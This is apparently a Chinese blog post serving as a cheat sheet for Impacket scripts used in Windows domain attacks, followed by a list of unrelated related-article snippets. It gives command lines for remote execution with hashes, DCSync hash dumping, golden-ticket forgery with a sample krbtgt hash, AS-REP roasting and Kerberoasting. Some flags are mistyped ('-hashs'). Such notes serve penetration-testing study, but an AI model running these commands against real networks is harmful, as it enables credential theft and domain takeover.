Impacket工具使用
Impacket工具说明
Impacker是用户处理网络协议的Python类集合,用于对SAB1-3或IPv4/IPv6
上的TCP/UPD/ICMP/IGMP/ARP/IPv4/IPv6/SMB/MSRPC/NTLM/Kerberos/WMI/LDAP
等进行低级的编程访问,数据包可以从头开始构建,也可以从原始数据包中解析,
面向对象API使用处理协议的深层结构变得简单。
psexec.py
psexec.py是用于远程连接的工具
语法:使用明文密码administrator 账号passrrrr 密码psexpc.py administrator:passrrrr@10.211.55.33使用密码Hashpsexec.py administrator@10.133.22.22 -hashs xxxxxx
连接原理:通过管道上传一个二进制文件到目标机器C:\Windows目录下,并在远程目标机器上创建一个服务,然后通过服务运行二进制文件,运行结束后删除服务和二进制文件,由于创建或删除服务会产生大量的日志,因此会在攻击溯源时通过日志反推攻击流程。
连接条件:需要目标开启445端口,IPC$和非IPC$的任意可写共享,psexec要往目标主机写入二进制文件,默认情况下C$和admin$是开启的。

smbexec.py
连接原理:smbexec跟psexec很相似是RemComSvc技术的工具,可以在文件共享远程系统中创建服务,将运行的命令写在bat脚本中执行,将执行结果写在文件中获取执行命令的输出,最后将bat文件和输出文件与服务全部删除,因为会创建服务因此会产生大量的日志。
连接条件:使用smbexec连接需要目标开启445端口,IPC$和非IPC$的任意可写共享,可以使用除ipc$共享外的所有其他共享,该脚本默认使用C$,可以使用-share参数指定其他共享。
连接语法:使用明文密码:smbexec.py administrator:passrrrr@10.211.55.33使用密码Hashsmbexec.py administrator@10.133.22.22 -hashs xxxxxxsmbexec.py administrator@10.133.22.22 -hashs xxxxxx -codec gbk 解决乱码 smbexec.py administrator@10.133.22.22 -hashs xxxxxx -share admin$ 指定其他方式共享连接

wmiexec.py
该脚本主要通过WMI实现远程执行,躲避杀软最好。
连接条件:需要目标开启135和445端口,并且依赖于admin$,135端口用于执行命令,445端口用于读取回显。
连接语法:使用明文密码:wmiexec.py administrator:passrrrr@10.211.55.33使用密码Hashwmiexec.py administrator@10.133.22.22 -hashs xxxxxxwmiexec.py administrator@10.133.22.22 -hashs xxxxxx -codec gbk 解决乱码

atexec.py
通过脚本执行计划任务在主机上实现命令执行,并返回执行后的输出结果。
连接语法:使用明文密码:atexec.py administrator:passrrrr@10.211.55.33 whoami(执行的命令)使用密码Hashatexec.py administrator@10.133.22.22 whoami -hashs xxxxxxatexec.py administrator@10.133.22.22 whoami -hashs xxxxxx -codec gbk 解决乱码
dcomexec.py
通过DCOM在目标上实现命令执行,并返回命令执行后结果
连接语法:使用明文密码:dcomexec.py administrator:passrrrr@10.211.55.33 whoami(执行的命令)使用密码Hashdcomexec.py administrator@10.133.22.22 whoami -hashs xxxxxxdcomexec.py administrator@10.133.22.22 whoami -hashs xxxxxx -codec gbk 解决乱码
smbclient.py
该脚本用于向服务器上传文件
连接成功后的命令:info 查看信息shares 查看开启的共享use xx 使用指定的共享ls 查看当前路径cd 切换目录put xx 上传文件get xx 下载文件
连接语法(工作组):smbclient.py administrator:passrrrr@10.210.22.3smbclient.py administrator@10.133.22.22 -hashs xxxxxx:xxxxx
连接语法(域环境)smbclient.py test/administrator:passrrrr@10.210.22.3smbclient.py test/administrator@10.133.22.22 -hashs xxxxxx:xxxxx

secretsdump.py
该脚本是利用DCSync功能导出域内用户Hash,需要连接的账号和密码具有DCSync权限。
获取域内用户所有hashsecretsdump.py test/administrator:passrrrr@10.210.22.3 -just-dc
使用卷影复制服务导出域内所有hashsecretsdump.py test/administrator:passrrrr@10.210.22.3 -use-vss
获取域内指定krbtgt用户的Hashsecretsdump.py test/administrator:passrrrr@10.210.22.3 -just-dc-user "test\krbtgt"

如果当前导入了域管理员的票据则不需要密码可以直接导出Hashsecretsdump.py -k -no-pass AD.test.com -just-dc-user administrator
lookupsid.py(获取域内的SID)
10.210.22.3域控IP
lookupsid.py test/administrator:passrrrr@10.210.22.3 -just-dc-user --domain-sids
ticketer.py(黄金票据)
如果已知目标域krbtgt用户Hash和目标域的SID,则可以利用该脚本执行如下命令生成黄金票据。
krbtgt Hash:krbtgt:502:aad3b435b51404eeaad3b435b51404ee:66b71cfe5adbef5ec5ce4d80c78bc6c9:::
域SID:S-1-5-21-1873282888-450677352-877677906
生成黄金票据:ticketer.py -domain-sid S-1-5-21-1873282888-450677352-877677906 -nthash 66b71cfe5adbef5ec5ce4d80c78bc6c9 -domain test.com administrator

导入票据:export KRB5CCNAME=administrator.ccache
导出administrator用户的Hashsecretsdump.py -k -no-pass administrator@WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4 -just-dc-user administrator需要注意:需要proxychains代理到域内机器才行。

否则出现一下错误:

getTGT.py(ntlm hash或者明文密码请求拿到TGT凭据)
密码另外输入可以在特殊字符的密码情况下使用
getTGT.py test/administrator@10.21.33.4 -dc-ip 10.21.33.4 -debug
直接使用明文密码
getTGT.py test/administrator:Password123@10.21.33.4 -dc-ip 10.21.33.4 -debug
使用ntlm hash请求TGT
getTGT.py test.com/administrator:@10.211.55.4 -hashes aad3b435b51404eeaad3b435b51404ee:443304af5a35f12b9ff7ecc74adc5a27


getST.py(请求ST)
getST.py -dc-ip 10.211.55.4 -spn cifs/WIN-VJ3RFUO09V9.test.com xie.com/administrator:Password123

导入票据:export KRB5CCNAME=administrator.ccache
访问该服务:smbexec.py -no-pass -k WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4

使用上一步使用getTGT.py生成的TGT票据指定SPN的ST导入票据export KRB5CCNAME=administrator@10.211.55.4.ccache生成新的票据getST.py -k -no-pass -spn cifs/WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4 test/administrator@10.211.5.4导入票据export KRB5CCNAME=administrator@10.211.55.4.ccache访问指定服务smbexec.py -no-pass -k WIN-VJ3RFUO09V9.test.com -dc-ip 10.211.55.4
samrdump.py(枚举域内用户)
samrdump.py test/administrator:Password123@10.211.55.4 -csv

addcomputer.py(增加机器账号)
进行基于资源约束委派攻击的时候需要一个机器账号进行控制,于是使用该脚本
可以创建一个机器账号,使用时需要一个有效的域用户,支持两种方式创建一种是
SAMR协议,另一种是LDAPS协议。
SAMR协议创建机器账号:addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 10.211.55.4 'test.com/hack:Password1234' -method SAMR -debug

LDAPS协议创建机器账号:addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 10.211.55.4 'test.com/hack:Password1234' -method LDAPS -debug
修改已经创建的机器账号密码(添加-no-add参数):addcomputer.py -computer-name 'mmm123$' -computer-pass 'newPassword123' -dc-ip 10.211.55.4 'test.com/hack:Password123' -method SAMR -debug -no-add

也可以使用域管账号修改任意机器账号密码跟上面参数是一样的指定域控机器账号即可,下面将域控账号密码重置为root123

使用bloodhound发现修改密码的机器账号可以使用

GetNPUsers.py(AS-REP Roasting)
用于AS-REP Roasting攻击,如果攻击者不在域中,可以使用该脚本执行检查users.txt中的用户是否
设置了不需要Kerberos预身份认证的属性,并且获取该属性账号Hash加密的Login Session Key。
GetNPUsers.py -dc-ip 10.211.55.4 -usersfile users.txt -format john test.com/
GetUserSPNs.py(Kerberoasting)
GetUserSPNs.py脚本可以在域外查询指定域的SPN,需要提供域账号和密码。
查询hack用户下的SPN
GetUserSPNs.py -dc-ip 10.211.55.4 test.com/hack:Password123
将hack用户下所有的SPN的ST保存到hash.txt可以用hashcat进行破解。
GetUserSPNs.py -request -dc-ip 10.211.55.4 test.com/hack:Password123 -outputfile hash.txt
使用hack用户下将test用户下所有的SPN的ST保存到hash.txt可以用hashcat进行破解。
GetUserSPNs.py -request -dc-ip 10.211.55.4 test.com/hack:Password123 -outputfile hash.txt -request-user test
ticketConverter.py(票据转换)
可以将.ccache和.kirbi格式的票据进行相互转换。
ticketConverter.py hack.ccache hack.kirbi
ticketConverter.py hack.kirbi hack.ccache

addspn.py(增加/删除/查询SPN)
可以用户增加/删除SPN/,增加需要SPN需要域管权限删除SPN只需要目标属性修改权限即可。
查询目标SPN,需要提供一个spn参数,可以是不存在的SPN
addspn.py -u 'test.com\hack' -p 'Password123' -t 'WIN-VJ3RFUO09V9$' -s HOST/WIN-VJ3RFUO09V9.test.com -s aa/aa -q 10.211.55.4
删除目标SPN,需要提供一个SPN参数且必须是存在的SPN
addspn.py -u 'test.com\hack' -p 'Password123' -t 'WIN-VJ3RFUO09V9$' -s HOST/WIN-VJ3RFUO09V9.test.com -s HOST/WIN-VJ3RFUO09V9.test.com -r 10.211.55.4
只有域管才可以添加SPNaddspn.py -u 'test.com/administrator' -p 'Password123' -t 'WIN-VJ3RFUO09V9$' -s test/test -a 10.211.55.4
相关文章:
Impacket工具使用
Impacket工具说明 Impacker是用户处理网络协议的Python类集合,用于对SAB1-3或IPv4/IPv6 上的TCP/UPD/ICMP/IGMP/ARP/IPv4/IPv6/SMB/MSRPC/NTLM/Kerberos/WMI/LDAP 等进行低级的编程访问,数据包可以从头开始构建,也可以从原始数据包中解析, 面向对象API使用处理协议的深层结构变…...
华为OD机试真题Python实现【RSA 加密算法】真题+解题思路+代码(20222023)
RSA 加密算法 题目 RSA 加密算法在网络安全世界中无处不在 它利用了极大整数因数分解的困难度,数据越大安全系数越高 给定了一个32位正整数,请对其进行因数分解 找出哪两个素数的乘积 🔥🔥🔥🔥🔥👉👉👉👉👉👉 华为OD机试(Python)真题目录汇总 ## 输…...
App.vue中读取不到路由的信息
问题: 首先定义了一个路由,并且在路由元里面存储了一个变量,在App.vue里面访问这个变量的时候却显示undefined!在路由对应的组件中却能访问到! 定义的路由元信息: 为啥访问不到…,懵逼的我在App.vue里…...
Lambda表达式详解
文章目录1、Lambda表达式简介2、如何使用Lambda表达式3、在哪里使用Lambda表达式3.1 函数式接口3.2函数描述符4、四大核心函数式接口4.1 Predicate4.2 Consumer4.3 Function4.4 Supplier5、方法引用5.1 方法引用的使用情况6、构造器引用7、数组引用8、复合Lambda表达式的有用方…...
网关的通用设计框架
概念 网关,很多地方将网关比如成门, 没什么问题, 但是需要区分网关与网桥的区别。 网桥:工作在数据链路层,在不同或相同类型的LAN之间存储并转发数据帧,必要时进行链路层上的协议转换。可连接两个或多个网络…...
API 接口应该如何设计?如何保证安全?如何签名?如何防重?
说明:在实际的业务中,难免会跟第三方系统进行数据的交互与传递,那么如何保证数据在传输过程中的安全呢(防窃取)?除了https的协议之外,能不能加上通用的一套算法以及规范来保证传输的安全性呢&am…...
LeetCode-131. 分割回文串
目录题目思路回溯题目来源 131. 分割回文串 题目思路 切割问题类似组合问题。 例如对于字符串abcdef: 组合问题:选取一个a之后,在bcdef中再去选取第二个,选取b之后在cdef中再选取第三个…。切割问题:切割一个a之后&…...
【C++】string类的基本使用
层楼终究误少年,自由早晚乱余生。你我山前没相见,山后别相逢… 文章目录一、编码(ascll、unicode字符集、常用的utf-8编码规则、GBK)1.详谈各种编码规则2.汉字在不同的编码规则中所占字节数二、string类的基本使用1.string类的本质…...
【第一章 - 绪论】- 数据结构(近八千字详解)
目录 一、 数据结构的研究内容 二、基本概念和术语 2.1 - 数据、数据元素、数据项和数据对象 2.2 - 数据结构 2.2.1 - 逻辑结构 2.2.2 - 存储结构 2.3 - 数据类型和抽象数据类型 三、抽象数据类型的表现与实现 四、算法和算法分析 4.1 - 算法的定义及特性 4.2 - 评价…...
QIfw制作软件安装程序
前言 Qt Installer Framework是Qt默认包的发布框架。它很方便,使用静态编译Qt制作而成。从Qt的下载地址中下载Qt Installer Framework,地址是:http://download.qt.io/official_releases/qt-installer-framework/ 。支持我们自定义一些我们需要的东西包括页面、交互等。 框…...
【C++】C++入门(上)
前言: C是在C语言的基础上不断添加东西形成的一门语言,在C语言的基础上引入了面向对象的思想。因此C既是面向对象的语言,也是面向过程的语言。因为C是以C语言为基础的,所以基本上C兼容所有的C语言。目前最常用的版本是C98和C11这两…...
5. Kimball维度建模常用术语及概念(一)
文章目录维度建模过程相关概念1. 收集业务需求与数据实现2. 协作维度建模研讨3. 四步骤维度设计过程4. 业务过程5. 粒度6. 描述环境的维度7. 用于度量的事实8. 维度模型事实表技术术语1. 事实表结构2. 可加、半可加、不可加事实3. 事实表中的空值4. 一致性事实5. 事务事实表6. …...
内核调试之Panic-Oops日志分析
这部分我们接着之前的思考,看看内核异常日志的分析。 1 Panic 调试 2 Oops调试 内核出现Panic或Oops错误,如何分析定位问题原因? 首先,保留现场,如下所示为一次非法虚拟地址访问错误。 EXT4-fs (sdc3): recovery c…...
论文解读 | [AAAI2020] 你所需要的是边界:走向任意形状的文本定位
目录 1、研究背景 2、研究的目的 3、方法论 3.1 Boundary Point Detection Network(BPDN) 3.2 Recognition Network 3.3 Loss Functions 4、实验及结果 论文连接:https://ojs.aaai.org/index.php/AAAI/article/view/6896 1、研究背景 最近,旨在…...
数据挖掘流程简单示例10min
数据挖掘流程简单示例10min 套路: 准备数据实现算法测试算法 任务1:亲和性分析 如果一个顾客买了商品X,那么他们可能愿意买商品Y衡量方法: 支持度support : 所有买X的人数 置信度confidence : 所有买X和Y的人数所有买X的人数…...
KDJB1200六相继电保护测试仪
一、概述 KDJB1200继电保护测试仪是在参照电力部颁发的《微机型继电保护试验装置技术条件(讨论稿)》的基础上,广泛听取用户意见,总结目前国内同类产品优缺点,充分使用现代新的的微电子技术和器件实现的一种新型小型化微机继电保护测试仪。可…...
从WEB到PWA 开发-发布-安装
见意如题!本文主要来说说PWA开发!作为一个前端程序员,在没有任何Android/IOS的开发情况下,想想我们有多少种方法来开发一个原生移动应用程序!我们可以有非原生、混合开发,PWA等等手段。类似uniappÿ…...
FPGA纯vhdl实现MIPI CSI2 RX视频解码输出,OV13850采集,提供工程源码和技术支持
目录1、前言2、Xilinx官方主推的MIPI解码方案3、纯Vhdl方案解码MIPI4、vivado工程介绍5、上板调试验证6、福利:工程代码的获取1、前言 FPGA图像采集领域目前协议最复杂、技术难度最高的应该就是MIPI协议了,MIPI解码难度之高,令无数英雄竞折腰…...
《NFL橄榄球》:卡罗来纳黑豹·橄榄1号位
卡罗来纳黑豹(英语:Carolina Panthers)是一支位于北卡罗来纳州夏洛特的职业美式橄榄球球队。他们是国家美式橄榄球联合会的南区其中一支球队。他们与杰克逊维尔美洲虎在1995年加入NFL,成为扩充球队。 2018年球队市值为23亿美元&am…...
我说我为什么抽不到SSR,原来是这段代码在作祟...
本文是龚国玮所写,熊哥有所新增修改删减,原文见文末。 我说我为什么抽不到SSR,原来是加权随机算法在作祟 阅读本文需要做好心理准备,建议带着深究到底的决心和毅力进行学习! 灵魂拷问 为什么有 50% 的几率获得金币&a…...
深度学习在微纳光子学中的应用
深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向: 逆向设计 通过神经网络快速预测微纳结构的光学响应,替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...
Java 语言特性(面试系列1)
一、面向对象编程 1. 封装(Encapsulation) 定义:将数据(属性)和操作数据的方法绑定在一起,通过访问控制符(private、protected、public)隐藏内部实现细节。示例: public …...
Zustand 状态管理库:极简而强大的解决方案
Zustand 是一个轻量级、快速和可扩展的状态管理库,特别适合 React 应用。它以简洁的 API 和高效的性能解决了 Redux 等状态管理方案中的繁琐问题。 核心优势对比 基本使用指南 1. 创建 Store // store.js import create from zustandconst useStore create((set)…...
dedecms 织梦自定义表单留言增加ajax验证码功能
增加ajax功能模块,用户不点击提交按钮,只要输入框失去焦点,就会提前提示验证码是否正确。 一,模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...
视频字幕质量评估的大规模细粒度基准
大家读完觉得有帮助记得关注和点赞!!! 摘要 视频字幕在文本到视频生成任务中起着至关重要的作用,因为它们的质量直接影响所生成视频的语义连贯性和视觉保真度。尽管大型视觉-语言模型(VLMs)在字幕生成方面…...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别
【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而,传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案,能够实现大范围覆盖并远程采集数据。尽管具备这些优势…...
如何更改默认 Crontab 编辑器 ?
在 Linux 领域中,crontab 是您可能经常遇到的一个术语。这个实用程序在类 unix 操作系统上可用,用于调度在预定义时间和间隔自动执行的任务。这对管理员和高级用户非常有益,允许他们自动执行各种系统任务。 编辑 Crontab 文件通常使用文本编…...
Redis:现代应用开发的高效内存数据存储利器
一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发,其初衷是为了满足他自己的一个项目需求,即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源,Redis凭借其简单易用、…...
android RelativeLayout布局
<?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"match_parent"android:gravity&…...
